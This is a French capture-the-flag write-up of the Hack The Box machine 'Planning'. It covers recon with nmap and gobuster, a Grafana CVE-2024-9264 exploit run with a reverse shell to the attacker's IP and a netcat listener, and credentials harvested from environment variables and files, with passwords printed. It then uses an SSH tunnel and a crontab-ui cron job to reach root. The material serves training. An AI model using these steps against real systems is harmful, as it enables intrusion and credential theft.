Dans ce writeup nous allons voir la différentes étapes d’un test d’intrusion d’un système, nous avons chois la box Planning du site de HackTheBix

Reconaissance
On lance un scan réseau vers l’adresse IP de la machine qui nous a été fourni à l’aide de nmap.
L’option -A: Enable OS detection, version detection, script scanning, and traceroute est un peu agressive, mais il s’agit ici d’un environnement d’entrainement.
┌──(n4z4㉿vbox)-[~/Documents/HackTheBox/Machines/Editor]
└─$ nmap -A 10.10.11.68
Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-06 16:30 CEST
Nmap scan report for 10.10.11.68
Host is up (0.47s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 62:ff:f6:d4:57:88:05:ad:f4:d3:de:5b:9b:f8:50:f1 (ECDSA)
|_ 256 4c:ce:7d:5c:fb:2d:a0:9e:9f:bd:f5:5c:5e:61:50:8a (ED25519)
80/tcp open http nginx 1.24.0 (Ubuntu)
|_http-server-header: nginx/1.24.0 (Ubuntu)
Device type: general purpose
Running: Linux 5.X
OS CPE: cpe:/o:linux:linux_kernel:5
OS details: Linux 5.0 - 5.14
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 3389/tcp)
HOP RTT ADDRESS
1 462.30 ms 10.10.16.1
2 674.98 ms 10.10.11.68
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 82.61 seconds
On ajoute le nom de la machine dans notre fichier host pour pouvoir accéder au service web.
Souvent le service est hébergé par un vhost et n’est donc pas disponible par défaut sur l’adresse http://10.10.11.68 mais via le nom de domaine planning.htb dans notre cas.
┌──(n4z4㉿vbox)-[~/Documents/HackTheBox/Machines/Editor]
└─$ echo "10.10.11.68\tplanning.htb\n" | sudo tee -a /etc/hosts
On s’apercoit en accédent au service web hébérgé qu’il s’agit d’un site de Cours en ligne.

Le site héberge des fichiers php et semble affiché uniquement les pages suivantes:
- – index.php
- – about.php
- – courses.php
- – contact.php
- – enroll.php
- – detail.php
On va donc faire de l’énumération de répertoire et de fichier pour déterminer si des pages cachés sont accéssible
┌──(n4z4㉿vbox)-[~/Documents/HackTheBox/Machines]
└─$ gobuster dir -u http://planning.htb -w /usr/share/wordlists/dirb/common.txt -x php
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://planning.htb
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Extensions: php
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/about.php (Status: 200) [Size: 12727]
/contact.php (Status: 200) [Size: 10632]
/course.php (Status: 200) [Size: 10229]
/css (Status: 301) [Size: 178] [--> http://planning.htb/css/]
/detail.php (Status: 200) [Size: 13006]
/img (Status: 301) [Size: 178] [--> http://planning.htb/img/]
/index.php (Status: 200) [Size: 23914]
/index.php (Status: 200) [Size: 23914]
/js (Status: 301) [Size: 178] [--> http://planning.htb/js/]
/lib (Status: 301) [Size: 178] [--> http://planning.htb/lib/]
===============================================================
Finished
===============================================================
Pour info vous pouvez facilement retrouver les worlistes sur kali avec la commande suivante :
┌──(n4z4㉿vbox)-[~/Documents/HackTheBox/Machines/Planning]
└─$ wordlists
> wordlists ~ Contains the rockyou wordlist
/usr/share/wordlists
├── amass -> /usr/share/amass/wordlists
├── dirb -> /usr/share/dirb/wordlists
├── dirbuster -> /usr/share/dirbuster/wordlists
├── dnsmap.txt -> /usr/share/dnsmap/wordlist_TLAs.txt
├── fasttrack.txt -> /usr/share/set/src/fasttrack/wordlist.txt
├── fern-wifi -> /usr/share/fern-wifi-cracker/extras/wordlists
├── john.lst -> /usr/share/john/password.lst
├── legion -> /usr/share/legion/wordlists
├── metasploit -> /usr/share/metasploit-framework/data/wordlists
├── nmap.lst -> /usr/share/nmap/nselib/data/passwords.lst
├── rockyou.txt.gz
├── sqlmap.txt -> /usr/share/sqlmap/data/txt/wordlist.txt
├── wfuzz -> /usr/share/wfuzz/wordlist
└── wifite.txt -> /usr/share/dict/wordlist-probable.txt
Après plusieurs listes de répertoire et de fichier testé, il ne semble pas y avoir de fichier caché.
On va donc tester si il y’a des sous domaines accessibles.
La wordlist dnsmap.txt sur la kali n’a rien donné donc j’ai téléchargé une worliste sur internet en suivant cet article https://sidxparab.gitbook.io/subdomain-enumeration-guide/active-enumeration/dns-bruteforcing
──(n4z4㉿vbox)-[~/Documents/HackTheBox/Machines]
└─$ gobuster vhost -t 100 -u planning.htb -w dnslist.txt --append-domain
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://planning.htb
[+] Method: GET
[+] Threads: 100
[+] Wordlist: dnslist.txt
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
[+] Append Domain: true
===============================================================
Starting gobuster in VHOST enumeration mode
===============================================================
Found: grafana.planning.htb Status: 302 [Size: 29] [--> /login]
===============================================================
Finished
===============================================================
On trouve un vhost qui porte le nom de grafana et on va donc essayé de s’y connecter avec les identifians qui nous ont été donné.
Même commande que précédement pour ajouter le vhost au fichier host de la machine.
echo "10.10.11.68\tgrafana.planning.htb\n" | sudo tee -a /etc/hosts

Exploitation
On trouve rapidement qu’il s’agit de la version **11.0.0** de Grafana.
Une recherche rapide nous renvoie vers la CVE-2024-9264 qui est une vulnérabilité de type RCE (Remote code execution) dans la fonctionnalité des Expressions SQL de Grafana.

Ce repo https://github.com/z3k0sec/CVE-2024-9264-RCE-Exploit GitHub contient un script python déjà tout fait pour exploiter la vulnérabilité.
> Attention à toujours lire le code que l’on exécute d’internet.
J’ouvre un listener en écoute sur le port 8888 via lequel je vais recevoir le reverse shell du serveur.
┌──(n4z4㉿vbox)-[~/Documents/HackTheBox/Machines/Planning]
└─$ nc -lvp 8888
listening on [any] 8888 ...
Dans un autre terminal j’execute le code d’exploitation de la vulnérabilité CVE-2024-9264
┌──(n4z4㉿vbox)-[~/Documents/HackTheBox/Machines/Planning]
└─$ python poc.py --url http://grafana.planning.htb --username admin --password 0D5oT70Fq13EvB5r --reverse-ip 10.10.14.42 --reverse-port 8888
[SUCCESS] Login successful!
Reverse shell payload sent successfully!
Set up a netcat listener on 8888
Normalement je vois apparaitre un terminal depuis mon listener
┌──(n4z4㉿vbox)-[~/Documents/HackTheBox/Machines/Planning]
└─$ nc -lvp 8888
listening on [any] 8888 ...
connect to [10.10.14.42] from planning.htb [10.10.11.68] 35816
sh: 0: can't access tty; job control turned off
# id
uid=0(root) gid=0(root) groups=0(root)
#
La présence de peu de fichier et aucune trace du site hébergé sur planning.htb laisse pensé qu’on est dans un environnement conteneurisé propre à Grafana.
declare -a array=($(tail -n +2 /proc/net/tcp | cut -d":" -f"3"|cut -d" " -f"1")) && for port in ${array[@]}; do echo $((0x$port)); done
On trouve des informations intéressante via la commande notamment un nom d’utilisateur et mot de passe.
env
AWS_AUTH_SESSION_DURATION=15m
HOSTNAME=7ce659d667d7
PWD=/
AWS_AUTH_AssumeRoleEnabled=true
GF_PATHS_HOME=/usr/share/grafana
AWS_CW_LIST_METRICS_PAGE_LIMIT=500
HOME=/usr/share/grafana
AWS_AUTH_EXTERNAL_ID=
SHLVL=2
GF_PATHS_PROVISIONING=/etc/grafana/provisioning
GF_SECURITY_ADMIN_PASSWORD=RioTecRANDEntANT!
GF_SECURITY_ADMIN_USER=enzo
GF_PATHS_DATA=/var/lib/grafana
GF_PATHS_LOGS=/var/log/grafana
PATH=/usr/local/bin:/usr/share/grafana/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
AWS_AUTH_AllowedAuthProviders=default,keys,credentials
GF_PATHS_PLUGINS=/var/lib/grafana/plugins
GF_PATHS_CONFIG=/etc/grafana/grafana.ini
_=/usr/bin/env
OLDPWD=/usr/share/grafana/conf
On peux donc essayé de se conntecter avec se couple identifiant/mot de passe sur le port 22 qui est ouvert sur la machine.
┌──(n4z4㉿vbox)-[~/Documents/HackTheBox/Machines/Planning]
└─$ ssh enzo@10.10.11.68
enzo@10.10.11.68's password:
Welcome to Ubuntu 24.04.2 LTS (GNU/Linux 6.8.0-59-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/pro
System information as of Thu Aug 7 06:41:23 PM UTC 2025
System load: 0.0 Processes: 231
Usage of /: 65.4% of 6.30GB Users logged in: 0
Memory usage: 39% IPv4 address for eth0: 10.10.11.68
Swap usage: 0%
Expanded Security Maintenance for Applications is not enabled.
102 updates can be applied immediately.
77 of these updates are standard security updates.
To see these additional updates run: apt list --upgradable
1 additional security update can be applied with ESM Apps.
Learn more about enabling ESM Apps service at https://ubuntu.com/esm
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Last login: Thu Aug 7 18:41:24 2025 from 10.10.14.42
enzo@planning:~$
On retrouve donc le premier flag dans le répertoire de l’utilisateur
enzo@planning:~$ ll
total 32
drwxr-x--- 4 enzo enzo 4096 Apr 3 13:49 ./
drwxr-xr-x 3 root root 4096 Feb 28 16:22 ../
lrwxrwxrwx 1 root root 9 Feb 28 20:42 .bash_history -> /dev/null
-rw-r--r-- 1 enzo enzo 220 Mar 31 2024 .bash_logout
-rw-r--r-- 1 enzo enzo 3771 Mar 31 2024 .bashrc
drwx------ 2 enzo enzo 4096 Apr 3 13:49 .cache/
-rw-r--r-- 1 enzo enzo 807 Mar 31 2024 .profile
drwx------ 2 enzo enzo 4096 Feb 28 16:22 .ssh/
-rw-r----- 1 root enzo 33 Aug 7 18:02 user.txt
enzo@planning:~$ cat user.txt
flag ;)
Elévation des privilèges
La machine sur laquelle nous venons de nous connecter en ssh est la machine qui héberge le service web, en analysant son contenu dans /var/www/web/index.php on retrouve les informations suivantes :
$servername = "localhost";
$username = "root";
$password = "EXTRapHY";
$dbname = "edukate";
En cherchant sur la machine on trouve un fichier intéressant qui contient un mot de passe P4ssw0rdS0pRi0T3c :
enzo@planning:~$ cat /opt/crontabs/crontab.db
{"name":"Grafana backup","command":"/usr/bin/docker save root_grafana -o /var/backups/grafana.tar && /usr/bin/gzip /var/backups/grafana.tar && zip -P P4ssw0rdS0pRi0T3c /var/backups/grafana.tar.gz.zip /var/backups/grafana.tar.gz && rm /var/backups/grafana.tar.gz","schedule":"@daily","stopped":false,"timestamp":"Fri Feb 28 2025 20:36:23 GMT+0000 (Coordinated Universal Time)","logging":"false","mailing":{},"created":1740774983276,"saved":false,"_id":"GTI22PpoJNtRKg0W"}
{"name":"Cleanup","command":"/root/scripts/cleanup.sh","schedule":"* * * * *","stopped":false,"timestamp":"Sat Mar 01 2025 17:15:09 GMT+0000 (Coordinated Universal Time)","logging":"false","mailing":{},"created":1740849309992,"saved":false,"_id":"gNIRXh1WIc9K7BYX"}
Ce fichier un un job cron exécuter par l’utilisateur root
enzo@planning:~$ ll /opt/crontabs/crontab.db
-rw-r--r-- 1 root root 737 Aug 8 13:30 /opt/crontabs/crontab.db
Une analyse des service et port en écoute sur la machine nous montre des choses intéressantes, il y’a des services en écoute que sur l’adresse localhost.
enzo@planning:~$ netstat -l
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State
tcp 0 0 localhost:3000 0.0.0.0:* LISTEN
tcp 0 0 localhost:8000 0.0.0.0:* LISTEN
tcp 0 0 _localdnsproxy:domain 0.0.0.0:* LISTEN
tcp 0 0 _localdnsstub:domain 0.0.0.0:* LISTEN
tcp 0 0 localhost:33060 0.0.0.0:* LISTEN
tcp 0 0 localhost:mysql 0.0.0.0:* LISTEN
tcp 0 0 localhost:35997 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:http 0.0.0.0:* LISTEN
tcp6 0 0 [::]:ssh [::]:* LISTEN
udp 0 0 _localdnsproxy:domain 0.0.0.0:*
udp 0 0 _localdnsstub:domain 0.0.0.0:*
Active UNIX domain sockets (only servers)
Proto RefCnt Flags Type State I-Node Path
unix 2 [ ACC ] STREAM LISTENING 9538 /run/systemd/journal/io.systemd.journal
unix 2 [ ACC ] STREAM LISTENING 15664 /run/dbus/system_bus_socket
unix 2 [ ACC ] STREAM LISTENING 15668 /run/docker.sock
unix 2 [ ACC ] STREAM LISTENING 51052 /run/user/1000/systemd/private
unix 2 [ ACC ] STREAM LISTENING 51060 /run/user/1000/bus
unix 2 [ ACC ] STREAM LISTENING 15671 /run/lxd-installer.socket
unix 2 [ ACC ] STREAM LISTENING 15682 /run/uuidd/request
unix 2 [ ACC ] STREAM LISTENING 51297 /run/user/1000/gnupg/S.dirmngr
unix 2 [ ACC ] STREAM LISTENING 51299 /run/user/1000/gnupg/S.gpg-agent.browser
unix 2 [ ACC ] STREAM LISTENING 51301 /run/user/1000/gnupg/S.gpg-agent.extra
unix 2 [ ACC ] STREAM LISTENING 51303 /run/user/1000/gnupg/S.gpg-agent
unix 2 [ ACC ] STREAM LISTENING 51305 /run/user/1000/gnupg/S.keyboxd
unix 2 [ ACC ] STREAM LISTENING 51307 /run/user/1000/pk-debconf-socket
unix 2 [ ACC ] STREAM LISTENING 51326 /run/user/1000/gnupg/S.gpg-agent.ssh
unix 2 [ ACC ] STREAM LISTENING 18169 /run/php/php8.3-fpm.sock
unix 2 [ ACC ] STREAM LISTENING 18700 /run/containerd/containerd.sock.ttrpc
unix 2 [ ACC ] STREAM LISTENING 18702 /run/containerd/containerd.sock
unix 2 [ ACC ] STREAM LISTENING 18776 /var/run/docker/metrics.sock
unix 2 [ ACC ] STREAM LISTENING 18780 /var/run/mysqld/mysqlx.sock
unix 2 [ ACC ] STREAM LISTENING 18794 /var/run/mysqld/mysqld.sock
unix 2 [ ACC ] STREAM LISTENING 19046 /var/run/docker/libnetwork/41410b8f73d6.sock
unix 2 [ ACC ] STREAM LISTENING 16022 /var/run/vmware/guestServicePipe
unix 2 [ ACC ] STREAM LISTENING 19604 /run/containerd/s/5dfa139daaabf7b365ccb85ae02fe006fae87a31062a64620ac2ee82cb2f4b12
unix 2 [ ACC ] STREAM LISTENING 11318 /run/systemd/io.systemd.sysext
unix 2 [ ACC ] STREAM LISTENING 10642 /run/systemd/private
unix 2 [ ACC ] STREAM LISTENING 10644 /run/systemd/userdb/io.systemd.DynamicUser
unix 2 [ ACC ] STREAM LISTENING 10645 /run/systemd/io.systemd.ManagedOOM
unix 2 [ ACC ] STREAM LISTENING 10659 /run/lvm/lvmpolld.socket
unix 2 [ ACC ] STREAM LISTENING 10663 /run/systemd/fsck.progress
unix 2 [ ACC ] STREAM LISTENING 14125 /run/systemd/resolve/io.systemd.Resolve
unix 2 [ ACC ] STREAM LISTENING 10669 /run/systemd/journal/stdout
unix 2 [ ACC ] STREAM LISTENING 14126 /run/systemd/resolve/io.systemd.Resolve.Monitor
unix 2 [ ACC ] SEQPACKET LISTENING 10671 /run/udev/control
unix 2 [ ACC ] STREAM LISTENING 15670 @ISCSIADM_ABSTRACT_NAMESPACE
On teste d’accéder aux service depuis notre machine attaquante via un tunnel SSH
ssh -L 8000:localhost:8000 enzo@10.10.11.68
Une fois le tunnel effectué on se retrouve devant une mire d’authentification et le couple identifiant mot de passe suivant : **root/P4ssw0rdS0pRi0T3c** permet d’accéder à une interface d’administration

Il s’agit de l’outil crontab-ui https://github.com/alseambusher/crontab-ui qui permet d’éditer des tâches cron depuis une interface graphique.
La création de cette nouvelle cron nous permet de lire le flag contenu dans le répertoire root

enzo@planning:/tmp$ cat flag.log
flag ;)
Voila la fin du writeup, j’espère que celui-ci ta plu et que tu as appris des choses ?
Je n’ai pour ma part pas encore réussi à faire pop un reverse shell en root, j’ai l’impression qu’il y’a des mécanisme de sécurité que je n’arrive pas à contourné, si tu as réussi, fait le moi savoir sur mes réseaux.
Autres projets
IronLab — Passionné d’électronique, robotique, d’aviation, de l’espace & projets DIY
Site Web | YouTube | TikTok | Instagram
Un peu de lecture complémentaire
- https://medium.com/@stefanos.kalandaridis/bash-ing-your-network-f7069ab7c5f4
- https://exploit-notes.hdks.org/exploit/container/docker/docker-escape/
- https://delinea.com/blog/linux-privilege-escalation















